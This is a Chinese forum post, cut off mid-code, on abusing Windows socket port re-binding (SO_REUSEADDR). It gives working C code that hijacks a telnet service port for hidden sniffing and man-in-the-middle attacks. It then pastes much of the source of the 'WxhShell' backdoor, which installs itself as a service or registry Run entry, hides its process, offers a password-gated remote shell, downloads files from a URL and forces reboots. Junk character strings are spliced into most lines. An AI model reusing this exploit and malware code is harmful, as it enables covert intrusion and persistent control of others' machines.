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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kZ}u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b . j^US^  
&s;^q  
  saddr.sin_family = AF_INET; .rm7Sd4K  
xi\RUAW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cZzZNGY^ts  
l,L=VDEz,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tQaCNS$=  
]e~^YZOs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I{I [N &N  
 ?|J+dW  
  这意味着什么?意味着可以进行如下的攻击: cgeS)C7  
h}>/Z3*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3a}`xCO5  
-*fYR#VQQB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c\{}FGC  
$ ].k6,%{p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HHTsHb{7  
J8BT%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cgXF|'yI&l  
dd7nO :]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?67I|@^  
W.D3$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sg"D;b:X  
.^IhH|U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,1;8DfVZV  
*F*jA$aY  
  #include xyjV dD\  
  #include e=z_+gVm  
  #include akW3\(W}  
  #include    qZsddll  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E5BgQ5'  
  int main() * m&: Yje  
  { {Y:ZY+  
  WORD wVersionRequested; %s@S|< W  
  DWORD ret; !GGGh0Bj  
  WSADATA wsaData; SKpPR;=q|:  
  BOOL val; 5Vo}G %g  
  SOCKADDR_IN saddr; Y0B1xL@  
  SOCKADDR_IN scaddr; 8Cs$NUU  
  int err; MR_bq_)  
  SOCKET s; 4G8nebv  
  SOCKET sc; 42>m,fb2[  
  int caddsize; n?LIphc\  
  HANDLE mt;  AMD?LjY~  
  DWORD tid;   R=?po=  
  wVersionRequested = MAKEWORD( 2, 2 ); ]AA%J@  
  err = WSAStartup( wVersionRequested, &wsaData ); LJ(n?/z%  
  if ( err != 0 ) { fEw=I7{Y  
  printf("error!WSAStartup failed!\n"); ,#bb8+z&p  
  return -1; oCKM5AVWsv  
  } $?)3&\)R  
  saddr.sin_family = AF_INET; U7"BlT!V\  
   3U~lI&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ytve1<.Ff  
ft/^4QcyAM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SE^b0ZV*x  
  saddr.sin_port = htons(23); .FKJ yzL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .i+* #djx  
  { U$A7EFK'  
  printf("error!socket failed!\n"); }PFt  
  return -1; !rXcGj(k  
  } '>e79f-O)  
  val = TRUE; Aa`MK$29F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L8dU (P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Vj=Xcn#*8  
  { 3u4*ofjE5  
  printf("error!setsockopt failed!\n"); Jh\: X<q  
  return -1; L-z ;:Ztk  
  }  L%WME8PB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }(ma__Ao  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }. xrJ52Tz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2gwZb/'i  
Zlk,])9Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o9ctJf=qn  
  { 9k\)tWe  
  ret=GetLastError(); DikdC5>O>m  
  printf("error!bind failed!\n"); qx2E-PDL;<  
  return -1; V#NG+U.B  
  } e"fN~`NhY  
  listen(s,2); J%\- 1  
  while(1) jC%35bi  
  { CGC-"A/W  
  caddsize = sizeof(scaddr); W|25t)cJ8h  
  //接受连接请求 Zk=*7?!!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2mqK3-c  
  if(sc!=INVALID_SOCKET) Tm)GC_  
  { Xnv@H:$mxk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \.H9$C$  
  if(mt==NULL) ~)q g  
  { wjTNO0hj  
  printf("Thread Creat Failed!\n"); <nWKR,  
  break; uf)W-Er6~  
  } e}42/>}#D  
  } 0#oBXu  
  CloseHandle(mt); S&4+ e:K  
  } /O|:{LQ  
  closesocket(s); 7]Al*)  
  WSACleanup(); FR x6c  
  return 0; {L@+(I  
  }   FR:d^mL  
  DWORD WINAPI ClientThread(LPVOID lpParam) :qKF58W  
  { )K~w'TUr  
  SOCKET ss = (SOCKET)lpParam; "S5S|dBc  
  SOCKET sc; <B6[i*&  
  unsigned char buf[4096]; 6M ^IwE  
  SOCKADDR_IN saddr; (1CJw:  
  long num; iF!mV5#  
  DWORD val; #s"851e  
  DWORD ret; <lMg\T?K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =/FF1jQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qM %O  
  saddr.sin_family = AF_INET; x# VyQ[ok  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }A]BpSEP  
  saddr.sin_port = htons(23); t|}O.u-&;~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lT]=&m>  
  { 3{"byfO#%  
  printf("error!socket failed!\n"); Nl@k*^  
  return -1; #G_F`&  
  } 9)+@0fG)  
  val = 100; `)32&\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x?"#gK`3;  
  { k#O,j pbB  
  ret = GetLastError(); B2 c@kru  
  return -1; @F>F#-2  
  } $I@GUtzjp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8pXKO"u],  
  { kbxg_UI;  
  ret = GetLastError(); -Ep!- a  
  return -1; OL'P]=U  
  } m9$a"$c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x4m 5JDC  
  { ?  -3\  
  printf("error!socket connect failed!\n"); MRfb[p3Cx  
  closesocket(sc); 4KXc~eF[M"  
  closesocket(ss); $&hN*7Ts  
  return -1; !Xj#@e  
  } n9%]-s\Hn  
  while(1)  PWH^=K  
  { Fj1NN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TBCp L]QT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;I}'}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h[kU<mU"T  
  num = recv(ss,buf,4096,0); kA4@`YCl  
  if(num>0) 9sSN<7  
  send(sc,buf,num,0); IA4N@ijRxh  
  else if(num==0) \'Ssn(s  
  break; ,:)`+v<  
  num = recv(sc,buf,4096,0); 6)qp*P$L  
  if(num>0) /7D<'MF  
  send(ss,buf,num,0); k?*KnfVh!  
  else if(num==0) irbw'^;y  
  break; 1vnYogL   
  } .@#A|fgv  
  closesocket(ss); -fy9<  
  closesocket(sc); }rq9I"/L  
  return 0 ; "l7NWqfB  
  } e(?]SU|  
+lE90y  
-MBV $:_R  
========================================================== I9?Ec6a_  
~g6 3qs  
下边附上一个代码,,WXhSHELL (W[V? !1  
M5g\s;y;  
========================================================== X6\ sF"E  
]fBUT6  
#include "stdafx.h" M f~}/h  
.ubE2X[][  
#include <stdio.h> 0.Ta Xbi  
#include <string.h> k&/OU:7Y  
#include <windows.h> s58 C2  
#include <winsock2.h> Ts.wh>`  
#include <winsvc.h> ea'&xs#GK  
#include <urlmon.h> OsqN B'X  
pO7Zs  
#pragma comment (lib, "Ws2_32.lib") *.#oxcll  
#pragma comment (lib, "urlmon.lib") gNYqAUG5  
nKoiG*PI  
#define MAX_USER   100 // 最大客户端连接数 30>3 !Xqa  
#define BUF_SOCK   200 // sock buffer s{0aBeq  
#define KEY_BUFF   255 // 输入 buffer "ZwKk G  
bi[IqU!9  
#define REBOOT     0   // 重启 \xv;sl$f  
#define SHUTDOWN   1   // 关机 <-'$~G j  
U8.7>ENnP&  
#define DEF_PORT   5000 // 监听端口 sEMQ  
*/:uV B,b2  
#define REG_LEN     16   // 注册表键长度 N@ \&1I`c$  
#define SVC_LEN     80   // NT服务名长度 Fz#X= gmG  
':{>a28=  
// 从dll定义API PHOP%hI $  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xpe)PXb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7lV.[&aKW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M?m,EQh.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R^?/' dr  
>zAUW[]C:I  
// wxhshell配置信息 Guz"wY  
struct WSCFG { 1 zw*/dp  
  int ws_port;         // 监听端口 7X@mSXis  
  char ws_passstr[REG_LEN]; // 口令 wLK07e(  
  int ws_autoins;       // 安装标记, 1=yes 0=no )nL`H^  
  char ws_regname[REG_LEN]; // 注册表键名 OnQdq^UB  
  char ws_svcname[REG_LEN]; // 服务名 ~ab:/!Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hxQqa 0B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RuII!}*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F*"}aP$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :#@= B]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `tP7ncky  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C74a(Bk}H  
a~'a  
}; 94B\5I}  
J8mdoVt  
// default Wxhshell configuration : q#Xq;Wp  
struct WSCFG wscfg={DEF_PORT, %CK^Si%+  
    "xuhuanlingzhe", uj :%#u  
    1, feQ **wI  
    "Wxhshell", gNt(,_]ZR  
    "Wxhshell", |yx6X{$k  
            "WxhShell Service", 0#nPbe,Lj  
    "Wrsky Windows CmdShell Service", H1} RWaJ  
    "Please Input Your Password: ", @Y1s$,=xB  
  1, z11O F  
  "http://www.wrsky.com/wxhshell.exe", h*-Pr8  
  "Wxhshell.exe"  4^M  
    }; ZIQ [bE7  
oH_;4QU4y  
// 消息定义模块 !QvZ<5(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <yd{tD$A*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R6]Gk)5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H '  
char *msg_ws_ext="\n\rExit."; 8uWa=C)  
char *msg_ws_end="\n\rQuit."; 3.*8)NW  
char *msg_ws_boot="\n\rReboot..."; u fw]=h)  
char *msg_ws_poff="\n\rShutdown..."; zx)z/1  
char *msg_ws_down="\n\rSave to "; g"}%2~Urf  
~{jcH  
char *msg_ws_err="\n\rErr!"; "thdPZ  
char *msg_ws_ok="\n\rOK!"; mWsI}2  
v_DedVhe  
char ExeFile[MAX_PATH]; ?.Ca|H<  
int nUser = 0; 'h,VR=e<  
HANDLE handles[MAX_USER]; 0@%v1Oja  
int OsIsNt; 9po3m]|zy  
0 eDHu  
SERVICE_STATUS       serviceStatus; uC(V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C$XU%5qi  
ppVHLrUh  
// 函数声明 $xPaYf  
int Install(void); Xg;}R:g '  
int Uninstall(void); HK2[]G  
int DownloadFile(char *sURL, SOCKET wsh); A;]}m8(*  
int Boot(int flag); nH[yJGZYSA  
void HideProc(void); Na]:_K5Dp  
int GetOsVer(void); hYG6 pTCb  
int Wxhshell(SOCKET wsl); @emK1iwm  
void TalkWithClient(void *cs); 6[ j.@[t  
int CmdShell(SOCKET sock); n<z [J=I  
int StartFromService(void); j~[z2tV  
int StartWxhshell(LPSTR lpCmdLine); ry`Ho8N  
<'y?KiphL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e'6/` Evqz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oK6tTK  
?pW`cFLDHF  
// 数据结构和表定义 ,1~"eGl!  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 oF45`3FV  
{ k9sh @ENy  
{wscfg.ws_svcname, NTServiceMain}, %KC yb  
{NULL, NULL} RIWxs Zt  
}; Vz~{UHH6  
(9''MlGd%  
// 自我安装 132{# tG]  
int Install(void) "h{q#~s  
{ /?uPEKr  
  char svExeFile[MAX_PATH]; %". HaI]  
  HKEY key; CpUk Cgg  
  strcpy(svExeFile,ExeFile); $p1(He0 2  
|s7s6k)mm  
// 如果是win9x系统,修改注册表设为自启动 :KQ~Cb  
if(!OsIsNt) { >:74%D0UF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zGb|)A~,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hQ,ch[j'  
  RegCloseKey(key); }*M6x;t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C)[,4wt,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x,=&JtKVc  
  RegCloseKey(key); 7-bd9uVK  
  return 0; @6Y?\Wx$w  
    } Z^bQ^zk-  
  } dPW#C5dm  
} xT3BHnQ(  
else { LdYB7T,  
[;n9:Qxf  
// 如果是NT以上系统,安装为系统服务 ^h(ew1:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jZu[n)u'C  
if (schSCManager!=0) S] }nm  
{ +%+tr*04O  
  SC_HANDLE schService = CreateService 1T"`v tR  
  ( Ot4 Z{mA  
  schSCManager, AHD=<7Rs  
  wscfg.ws_svcname, "M<8UE\n  
  wscfg.ws_svcdisp, \ ZgE  
  SERVICE_ALL_ACCESS, -RE^tW*Yy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M1k{t%M+S  
  SERVICE_AUTO_START, :NhO2L  
  SERVICE_ERROR_NORMAL, "IZa!eUW  
  svExeFile, 0\X\izQ5  
  NULL, )1]ZtU  
  NULL, J4k=A7^N  
  NULL, DBo%fYst  
  NULL, 1$xNUsD2  
  NULL >@U*~Nz  
  ); {kA0z2Fe  
  if (schService!=0) )MtF23k)g  
  { >BV^H.SO|1  
  CloseServiceHandle(schService); +jAGGv^)  
  CloseServiceHandle(schSCManager); MU($|hwiL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :">!r.Q  
  strcat(svExeFile,wscfg.ws_svcname); 6Pz4\uE=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { piJu+tUy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F8nYV  
  RegCloseKey(key); /fKx} }g)  
  return 0; =J18eH!]  
    } 1jx:;j  
  } _?-E7:Sw  
  CloseServiceHandle(schSCManager); `68@+|#  
} TEP,Dq  
} S4Pxc ]!  
wx]0p  
return 1; 9"N~yKa`"K  
} XD!W: uvb  
7!$Q;A  
// 自我卸载 kI,yU}<Fq  
int Uninstall(void) '3R`lv   
{ ;@0;pY  
  HKEY key; )~GmU9f  
L 8c0lx}Nn  
if(!OsIsNt) { l?E{YQq]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=>,Pto<  
  RegDeleteValue(key,wscfg.ws_regname); u]g%@3Pn  
  RegCloseKey(key); ~Z-Vs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fnpYT:%fG  
  RegDeleteValue(key,wscfg.ws_regname); |O{m2Fi  
  RegCloseKey(key); zKyyU}LHH  
  return 0; O;+ maY^l  
  } ZFA`s qT  
} 6gkV*|U,e  
} B~?*?Z'  
else { O n8v//=&  
+Te\H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vouvr<43o  
if (schSCManager!=0) oro$wFxJO  
{ ^8]NxV@l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?3/qz(bM  
  if (schService!=0) R]JT&p|w.1  
  { t DO=P c  
  if(DeleteService(schService)!=0) { EW}Bzh>b  
  CloseServiceHandle(schService); 99]R$eT8  
  CloseServiceHandle(schSCManager);  |{&{  
  return 0; # ncRb  
  } kT|dUw9G  
  CloseServiceHandle(schService); ;RH;OE,A  
  } `b?R#:G  
  CloseServiceHandle(schSCManager); )n1_(;  
} H(H<z,$}T  
} q'+)t7!  
t;){D:]k  
return 1; u/UrAqw  
} CYt?,qk-r  
?(xnSW@r  
// 从指定url下载文件 R%Hi+#/dr-  
int DownloadFile(char *sURL, SOCKET wsh) #`~C)=-  
{ x!hh"x  
  HRESULT hr; bs+f,j-oBN  
char seps[]= "/"; O6@j &*jS  
char *token; (|F*vP'  
char *file; Plc-4y1  
char myURL[MAX_PATH]; 87=&^.~`  
char myFILE[MAX_PATH]; H!c@klD  
nz%DM<0$  
strcpy(myURL,sURL); 9/9j+5}+  
  token=strtok(myURL,seps); -6Z\qxKqZ  
  while(token!=NULL) 5b5x!do  
  { "WlZ)wyF%  
    file=token; fAF1"4f  
  token=strtok(NULL,seps); f}6s Q5  
  } j 'FVz&  
N1}c9}  
GetCurrentDirectory(MAX_PATH,myFILE); >d@&2FTO  
strcat(myFILE, "\\"); \-L&5x"x  
strcat(myFILE, file); z Eq GD2"  
  send(wsh,myFILE,strlen(myFILE),0); '-QwssE  
send(wsh,"...",3,0); 6e(Qwt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q[Z8ok  
  if(hr==S_OK) w?3p';C  
return 0; U] ~$g}!)  
else "33Fv9C#bK  
return 1; {]*c29b>  
&]V.S7LC #  
} 5]~'_V  
^/uA?h:]\  
// 系统电源模块 'SO %)B  
int Boot(int flag) N1Ng^aY0  
{ -#7'r<I9@  
  HANDLE hToken; d^@dzNv  
  TOKEN_PRIVILEGES tkp; _uWpJhCT  
?fiIwF)  
  if(OsIsNt) { ~Uu4=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u6?Q3 bvI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tG:25T0  
    tkp.PrivilegeCount = 1; =FlDb 5t{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Bz^jw>1b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6RG)` bu  
if(flag==REBOOT) { VX].3=T8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kC WEtbz1  
  return 0; %!]@J[*1  
} UXeN8  
else { mkMq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b v G/|U  
  return 0; bhID#&  
} YO#M/%^j  
  } G(Lzf(  
  else { wZG\>9~  
if(flag==REBOOT) { X]'{(?Ch  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xRJ\E }/7  
  return 0; 7zA'ri3w  
} Y}x>t* I  
else { qJ;jfh!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uYn_? G  
  return 0; MPCBT!o4Z  
} 4 kn|^  
} ]"J~:{, d  
5"^en# ?9  
return 1; zepm!JR1  
} QU4h8}$  
.+qQYDE w  
// win9x进程隐藏模块 ;P;-}u  
void HideProc(void) %+f>2U4I  
{ kr+D,h01  
{,3>"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B&\IGWG(  
  if ( hKernel != NULL ) 8u"!dq  
  { ~KHVY)@P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &wi e]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <L`KzaA  
    FreeLibrary(hKernel); ?/BqD;{?I  
  } -- PtZ]Z  
<d,b'<z s  
return; U@g4w!$r  
} ./,/y"x  
Xp >7iX!:  
// 获取操作系统版本 _hN\10ydY  
int GetOsVer(void) K17j$o^6KK  
{ P=7zs;k  
  OSVERSIONINFO winfo; 2-7IJ\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *194{ ep  
  GetVersionEx(&winfo); Rd2qe /  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F=`AY^u0  
  return 1; K!:azP,bZ  
  else aIJt0;  
  return 0; u6T+Cg  
} qLw{?sH}J/  
:axRoRg  
// 客户端句柄模块 a&tSj35*6  
int Wxhshell(SOCKET wsl) +,2:g}5  
{ 9  TvV=  
  SOCKET wsh; #OIcLEn%  
  struct sockaddr_in client; [baiH|5>  
  DWORD myID; m5L-67[sB  
K&nE_.kbl  
  while(nUser<MAX_USER) /s?r`'j[  
{ d p2F  
  int nSize=sizeof(client); /]=C{)8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (5#nrF]  
  if(wsh==INVALID_SOCKET) return 1; k40* e\  
Ans cr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )^ m%i]L _  
if(handles[nUser]==0) M:-.o  
  closesocket(wsh); TT'[qfAI  
else )f}YW/'  
  nUser++; 0uWR<,]  
  } %1H[Wh(U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %<E$,w>  
U'8bdsF_  
  return 0; 3{ LP?w:@  
} zhpx"{_  
4kG,*3 &2  
// 关闭 socket qR(\5}  
void CloseIt(SOCKET wsh) m1),;RsH  
{ wT `a3Ymm  
closesocket(wsh); YQ39 A_e g  
nUser--;  TR<<+  
ExitThread(0); Q?3Gk%T0[  
} Yj)#k)x  
@n(Z$)8tR  
// 客户端请求句柄 :X.b}^Z(  
void TalkWithClient(void *cs) y9_K, g  
{ #>%X_o-o23  
odPL {XFj  
  SOCKET wsh=(SOCKET)cs; &z>e5_.  
  char pwd[SVC_LEN]; }RmU%IYc  
  char cmd[KEY_BUFF]; x*?x=^I{  
char chr[1]; #gp,V#T  
int i,j; 0Uz\H0T1  
c.,2GwW  
  while (nUser < MAX_USER) { 3T"j)R_=l  
FP;Ccl"s  
if(wscfg.ws_passstr) { $4tWI O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h<Ft_#|o[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x/;buW-  
  //ZeroMemory(pwd,KEY_BUFF);  :@%4  
      i=0; wm)#[x #  
  while(i<SVC_LEN) { 3E>frR\!I  
Z$0 uH*h  
  // 设置超时 7 qj9&bEy  
  fd_set FdRead; kMtwiB|7j  
  struct timeval TimeOut; r41\r,`Dj  
  FD_ZERO(&FdRead); I9:Cb)hbU]  
  FD_SET(wsh,&FdRead); j:E<p_T  
  TimeOut.tv_sec=8; Q(<)KZIK  
  TimeOut.tv_usec=0; @1DX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cfcim.jB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8"dv_`ym  
?pn}s]*/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -[6z 1"*  
  pwd=chr[0]; |lJX 3  
  if(chr[0]==0xd || chr[0]==0xa) { _io+YzS  
  pwd=0; qEpi]=|  
  break; &_"]5/"(  
  } jBU4F~1y  
  i++; $OP7l>KZY  
    } Td G!&:>  
agjv{  
  // 如果是非法用户,关闭 socket ;PjQt=4K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mml<9fbH  
} 91$]Qg,lB  
2Z3('?\z~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c05%iv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JaK}|  
qUxRM_7U  
while(1) { -u? S=h}  
|37 g ~  
  ZeroMemory(cmd,KEY_BUFF); Hd,p!_  
" t7M3i_  
      // 自动支持客户端 telnet标准   f|R"u W +  
  j=0; Sp}tD<V  
  while(j<KEY_BUFF) { RTv qls  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :PtF+{N>  
  cmd[j]=chr[0]; "dI;  
  if(chr[0]==0xa || chr[0]==0xd) { (y M^  
  cmd[j]=0; ]ut5S>,"  
  break; Pv<24:ao  
  } v@wb"jdFi$  
  j++; e0J6Ae4V[  
    } CE"JS-S?  
\mV'mZ9>  
  // 下载文件 "m^' &L  
  if(strstr(cmd,"http://")) { <x&%~6j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *X4PM\ck  
  if(DownloadFile(cmd,wsh)) MW PvR|Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H)>@/"j;  
  else I(9R~q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :_@JA0n  
  } y| Ir._bt  
  else { Bf$_XG3  
XXh6^@H=  
    switch(cmd[0]) { YSj+\Z$(  
   :<Fe  
  // 帮助 gt/zpiKmV  
  case '?': { HU9Sl*/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (I@rLvZr{  
    break; 3LfC{ER  
  } ** +e7k   
  // 安装 MSV2ip3  
  case 'i': { TARXx>  
    if(Install()) .cR -V`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z.CywME<)t  
    else >y}M.Mm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sg8/#_S1i  
    break; JICawj:I  
    } b9"jtRTdz  
  // 卸载 7#~+@'Oe  
  case 'r': { PC qZNBN  
    if(Uninstall()) r@{~ 5&L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ed:eGm }  
    else <HRBMSR+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jn: NYJv  
    break; c5Q<$86  
    } uK'&Dam  
  // 显示 wxhshell 所在路径 }/,HM9Ke  
  case 'p': { ~h"/Tce  
    char svExeFile[MAX_PATH]; kEO7PK/  
    strcpy(svExeFile,"\n\r"); "7 v-` i  
      strcat(svExeFile,ExeFile); ex<O]kPFE  
        send(wsh,svExeFile,strlen(svExeFile),0); &h~Xq^  
    break; 5qf BEPJ  
    } @w>zF/  
  // 重启 jt@SZI`  
  case 'b': { Z--@.IYoJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QaGlR`Y  
    if(Boot(REBOOT)) 4G@nZn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j Y6MjZI  
    else { f""`cdqAOh  
    closesocket(wsh); g}f9dB,F  
    ExitThread(0); /cK%n4l.y  
    } c>1RP5vx  
    break; ,+;:3gRk9  
    } +x]9+D&  
  // 关机 Jd,)a#<j  
  case 'd': { SI_iI71  
